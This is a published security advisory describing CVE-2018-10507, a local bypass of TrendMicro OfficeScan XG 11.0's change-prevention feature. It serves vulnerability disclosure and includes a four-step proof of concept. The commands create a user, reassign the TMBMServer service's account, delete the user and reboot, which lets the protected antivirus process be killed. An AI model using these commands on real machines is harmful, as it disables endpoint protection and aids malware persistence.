TrendMicro OfficeScan XG 11.0 Change Prevention Bypass

2018.06.08
us hyp3rlinx (US) us
Risk: Medium
Local: Yes
Remote: No
CWE: N/A

[+] Credits: John Page (aka hyp3rlinx) [+] Website: hyp3rlinx.altervista.org [+] Source: http://hyp3rlinx.altervista.org/advisories/TRENDMICRO-OFFICESCAN-XG-v11.0-UNAUTHORIZED-CHANGE-PREVENTION-SERVICE-BYPASS.txt [+] ISR: Apparition Security ***Greetz: indoushka|Eduardo|Dirty0tis*** Vendor: ============= www.trendmicro.com Product: =========== OfficeScan XG v11.0 OfficeScan protects enterprise networks from malware, network viruses, web-based threats, spyware, and mixed threat attacks. An integrated solution, OfficeScan consists of the OfficeScan agent program that resides at the endpoint and a server program that manages all agents. The OfficeScan agent guards the endpoint and reports its security status to the server. The server, through the web-based management console, makes it easy to set coordinated security policies and deploy updates to every agent. Vulnerability Type: =================== Unauthorized Change Prevention Bypass CVE Reference: ============== CVE-2018-10507 Security Issue: ================ Attackers or malwarez that can access the system hosting the OfficeScan XG AV, can bypass the antivirus protection feature that prevents unauthorized changes from being made like killing protected OfficeScan XG processes such as "PccNTMon.exe". References: ============ https://success.trendmicro.com/solution/1119961 Exploit/POC: ============= 1) net user hacker abc123 /add 2) sc.exe config "TMBMServer" obj= ".\hacker" password= "pwnage" 3) net user hacker /delete 4) shutdown /r Done!, now kill "PccNTMon.exe" or whatever... requires Admin permissions to exploit Network Access: =============== Local Severity: ========= Medium Disclosure Timeline: ============================= Vendor Notification: June 29, 2017 Vendor releases critical patch and advisory : June 5, 2018 June 7, 2018 : Public Disclosure [+] Disclaimer The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. All content (c). hyp3rlinx

References:

http://hyp3rlinx.altervista.org/advisories/TRENDMICRO-OFFICESCAN-XG-v11.0-UNAUTHORIZED-CHANGE-PREVENTION-SERVICE-BYPASS.txt


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